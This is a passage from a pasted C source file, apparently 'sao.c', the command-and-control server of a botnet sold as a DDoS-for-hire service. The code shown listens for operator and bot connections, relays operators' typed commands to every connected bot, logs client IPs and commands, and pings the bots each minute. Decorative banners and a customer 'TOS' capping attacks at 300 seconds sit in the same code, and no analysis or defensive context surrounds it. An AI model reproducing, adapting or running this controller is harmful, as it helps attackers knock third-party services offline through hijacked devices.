  689. sprintf(senpai4, "\x1b[1;35m ███████\x1b[1;36m╗\x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╔\x1b[1;35m██\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██████\x1b[1;36m╔╝\x1b[1;35m███████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  690. sprintf(senpai5, "\x1b[1;36m ╚════\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══╝ \x1b[1;35m██\x1b[1;36m║╚\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔═══╝ \x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  691. sprintf(senpai6, "\x1b[1;35m ███████\x1b[1;36m║\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║ ╚\x1b[1;35m████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║ \x1b[1;35m██\x1b[1;36m║ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  692. sprintf(senpai7, "\x1b[1;36m ╚══════╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝╚═╝\r\n");
  693.  
  694. if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  695. if(send(thefd, senpai1, strlen(senpai1), MSG_NOSIGNAL) == -1) goto end;
  696. if(send(thefd, senpai2, strlen(senpai2), MSG_NOSIGNAL) == -1) goto end;
  697. if(send(thefd, senpai3, strlen(senpai3), MSG_NOSIGNAL) == -1) goto end;
  698. if(send(thefd, senpai4, strlen(senpai4), MSG_NOSIGNAL) == -1) goto end;
  699. if(send(thefd, senpai5, strlen(senpai5), MSG_NOSIGNAL) == -1) goto end;
  700. if(send(thefd, senpai6, strlen(senpai6), MSG_NOSIGNAL) == -1) goto end;
  701. if(send(thefd, senpai7, strlen(senpai7), MSG_NOSIGNAL) == -1) goto end;
  702. while(1) {
  703. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  704. break;
  705. }
  706. continue;
  707.  
  708. }
  709.  
  710.  
  711. if(strstr(buf, "asuna")){
  712. char asuna_banner1 [5000];
  713. char asuna_banner2 [5000];
  714. char asuna_banner3 [5000];
  715. char asuna_banner4 [5000];
  716. char asuna_banner5 [5000];
  717. char asuna_banner6 [5000];
  718. char asuna_banner7 [5000];
  719. char asuna_banner8 [5000];
  720. char asuna_banner9 [5000];
  721. char asuna_banner10 [5000];
  722. char asuna_banner11 [5000];
  723.  
  724. sprintf(asuna_banner1, "\x1b[1;37m ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ \r\n");
  725. sprintf(asuna_banner2, "\x1b[1;37m ▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌\r\n");
  726. sprintf(asuna_banner3, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀▀▀ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌\r\n");
  727. sprintf(asuna_banner4, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
  728. sprintf(asuna_banner5, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄▄▄ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌\r\n");
  729. sprintf(asuna_banner6, "\x1b[1;37m ▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌\r\n");
  730. sprintf(asuna_banner7, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌ ▀▀▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌\r\n");
  731. sprintf(asuna_banner8, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
  732. sprintf(asuna_banner9, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▄▄▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
  733. sprintf(asuna_banner10, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
  734. sprintf(asuna_banner11, "\x1b[1;37m ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀ ▀ ▀ \r\n");
  735.  
  736. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  737. if(send(thefd, asuna_banner1, strlen(asuna_banner1), MSG_NOSIGNAL) == -1) goto end;
  738. if(send(thefd, asuna_banner2, strlen(asuna_banner2), MSG_NOSIGNAL) == -1) goto end;
  739. if(send(thefd, asuna_banner3, strlen(asuna_banner3), MSG_NOSIGNAL) == -1) goto end;
  740. if(send(thefd, asuna_banner4, strlen(asuna_banner4), MSG_NOSIGNAL) == -1) goto end;
  741. if(send(thefd, asuna_banner5, strlen(asuna_banner5), MSG_NOSIGNAL) == -1) goto end;
  742. if(send(thefd, asuna_banner6, strlen(asuna_banner6), MSG_NOSIGNAL) == -1) goto end;
  743. if(send(thefd, asuna_banner7, strlen(asuna_banner7), MSG_NOSIGNAL) == -1) goto end;
  744. if(send(thefd, asuna_banner8, strlen(asuna_banner8), MSG_NOSIGNAL) == -1) goto end;
  745. if(send(thefd, asuna_banner9, strlen(asuna_banner9), MSG_NOSIGNAL) == -1) goto end;
  746. if(send(thefd, asuna_banner10, strlen(asuna_banner10), MSG_NOSIGNAL) == -1) goto end;
  747. if(send(thefd, asuna_banner11, strlen(asuna_banner11), MSG_NOSIGNAL) == -1) goto end;
  748. while(1) {
  749. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 13, MSG_NOSIGNAL) == -1) goto end;
  750. break;
  751. }
  752. pthread_create(&title, NULL, &titleWriter, sock);
  753. managements[thefd].connected = 1;
  754. continue;
  755. }
  756.  
  757. if(strstr(buf, "kirito")){
  758. char extend_banner_line1 [5000];
  759. char extend_banner_line2 [5000];
  760. char extend_banner_line3 [5000];
  761. char extend_banner_line4 [5000];
  762. char extend_banner_line5 [5000];
  763. char extend_banner_line6 [5000];
  764. char extend_banner_line7 [5000];
  765.  
  766. sprintf(extend_banner_line1, "\x1b[0;37m \r\n");
  767. sprintf(extend_banner_line2, "\x1b[0;37m ██╗ ██╗██╗██████╗ ██╗████████╗ ██████╗ \r\n");
  768. sprintf(extend_banner_line3, "\x1b[0;37m ██║ ██╔╝██║██╔══██╗██║╚══██╔══╝██╔═══██╗\r\n");
  769. sprintf(extend_banner_line4, "\x1b[0;37m █████╔╝ ██║██████╔╝██║ ██║ ██║ ██║\r\n");
  770. sprintf(extend_banner_line5, "\x1b[0;37m ██╔═██╗ ██║██╔══██╗██║ ██║ ██║ ██║\r\n");
  771. sprintf(extend_banner_line6, "\x1b[0;37m ██║ ██╗██║██║ ██║██║ ██║ ╚██████╔╝\r\n");
  772. sprintf(extend_banner_line7, "\x1b[0;37m ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ \r\n");
  773.  
  774. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  775. if(send(thefd, extend_banner_line1, strlen(extend_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(thefd, extend_banner_line2, strlen(extend_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(thefd, extend_banner_line3, strlen(extend_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(thefd, extend_banner_line4, strlen(extend_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(thefd, extend_banner_line5, strlen(extend_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(thefd, extend_banner_line6, strlen(extend_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(thefd, extend_banner_line7, strlen(extend_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  782. while(1) {
  783. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 13, MSG_NOSIGNAL) == -1) goto end;
  784. break;
  785. }
  786. pthread_create(&title, NULL, &titleWriter, sock);
  787. managements[thefd].connected = 1;
  788. continue;
  789. }
  790.  
  791. if(strstr(buf, "TOS")){
  792.  
  793. char Tline1 [80];
  794. char Tline2 [80];
  795. char Tline3 [80];
  796. char Tline4 [80];
  797. char Tline5 [80];
  798. char Tline6 [80];
  799.  
  800. sprintf(Tline1, "\x1b[35m Dont Hit Gov Sites 4 The Dumb Asses\r\n");
  801. sprintf(Tline2, "\x1b[35m You can't give your login out\r\n");
  802. sprintf(Tline3, "\x1b[35m You can't give out server info\r\n");
  803. sprintf(Tline4, "\x1b[35m Dont Spam Attacks Fucktard\r\n");
  804. sprintf(Tline5, "\x1b[35m 300 Seconds MAX DDoS Time\r\n");
  805. sprintf(Tline6, "\x1b[35m NO REFUNDS FOR MORONS WHO GET KICKED\r\n");
  806.  
  807. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  808. if(send(thefd, Tline1, strlen(Tline1), MSG_NOSIGNAL) == -1) goto end;
  809. if(send(thefd, Tline2, strlen(Tline2), MSG_NOSIGNAL) == -1) goto end;
  810. if(send(thefd, Tline3, strlen(Tline3), MSG_NOSIGNAL) == -1) goto end;
  811. if(send(thefd, Tline4, strlen(Tline4), MSG_NOSIGNAL) == -1) goto end;
  812. if(send(thefd, Tline5, strlen(Tline5), MSG_NOSIGNAL) == -1) goto end;
  813. if(send(thefd, Tline6, strlen(Tline6), MSG_NOSIGNAL) == -1) goto end;
  814. while(1) {
  815. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 13, MSG_NOSIGNAL) == -1) goto end;
  816. break;
  817. }
  818. pthread_create(&title, NULL, &titleWriter, sock);
  819. managements[thefd].connected = 1;
  820. continue;
  821. }
  822.  
  823.  
  824. if(strstr(buf, "GB"))
  825. {
  826. sprintf(botnet, "Thanks for buying %s see you next time\r\n", accounts[find_line].id, buf);
  827. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  828. goto end;
  829. }
  830. trim(buf);
  831. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 11, MSG_NOSIGNAL) == -1) goto end;
  832. if(strlen(buf) == 0) continue;
  833. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  834. FILE *logFile;
  835. logFile = fopen("report.log", "a");
  836. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  837. fclose(logFile);
  838. broadcast(buf, thefd, usernamez);
  839. memset(buf, 0, 2048);
  840. }
  841. end:
  842. managements[thefd].connected = 0;
  843. close(thefd);
  844. managesConnected--;
  845. }
  846. void *telnetListener(int port)
  847. {
  848. int sockfd, newsockfd;
  849. socklen_t clilen;
  850. struct sockaddr_in serv_addr, cli_addr;
  851. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  852. if (sockfd < 0) perror("ERROR opening socket");
  853. bzero((char *) &serv_addr, sizeof(serv_addr));
  854. serv_addr.sin_family = AF_INET;
  855. serv_addr.sin_addr.s_addr = INADDR_ANY;
  856. serv_addr.sin_port = htons(port);
  857. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  858. listen(sockfd,5);
  859. clilen = sizeof(cli_addr);
  860. while(1)
  861.  
  862. { printf("IP logged: ");
  863. client_addr(cli_addr);
  864. FILE *logFile;
  865. logFile = fopen("ip.log", "a");
  866. fprintf(logFile, "%d.%d.%d.%d", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  867. fclose(logFile);
  868. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  869. if (newsockfd < 0) perror("ERROR on accept");
  870. pthread_t thread;
  871. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd); }
  872. }
  873.  
  874. int main (int argc, char *argv[], void *sock)
  875. {
  876. signal(SIGPIPE, SIG_IGN);
  877. int s, threads, port;
  878. struct epoll_event event;
  879. if (argc != 4)
  880. {
  881. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  882. exit (EXIT_FAILURE);
  883. }
  884. port = atoi(argv[3]);
  885. printf("\x1b[31mTHIS SHIT PRIVATE,\x1b[34m DO NOT FUCKING LEAK, \x1b[32msao.c \x1b[35mP2P \x1b[36mSCREENED\x1b[0m\n");
  886. telFD = fopen("bots.txt", "a+");
  887. threads = atoi(argv[2]);
  888. listenFD = create_and_bind (argv[1]);
  889. if (listenFD == -1) abort ();
  890. s = make_socket_non_blocking (listenFD);
  891. if (s == -1) abort ();
  892. s = listen (listenFD, SOMAXCONN);
  893. if (s == -1)
  894. {
  895. perror ("listen");
  896. abort ();
  897. }
  898. epollFD = epoll_create1 (0);
  899. if (epollFD == -1)
  900. {
  901. perror ("epoll_create");
  902. abort ();
  903. }
  904. event.data.fd = listenFD;
  905. event.events = EPOLLIN | EPOLLET;
  906. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  907. if (s == -1)
  908. {
  909. perror ("epoll_ctl");
  910. abort ();
  911. }
  912. pthread_t thread[threads + 2];
  913. while(threads--)
  914. {
  915. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL);
  916. }
  917. pthread_create(&thread[0], NULL, &telnetListener, port);
  918. while(1)
  919. {
  920. broadcast("PING", -1, "PUV");
  921. sleep(60);
  922. }
  923. close (listenFD);
  924. return EXIT_SUCCESS;
  925. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement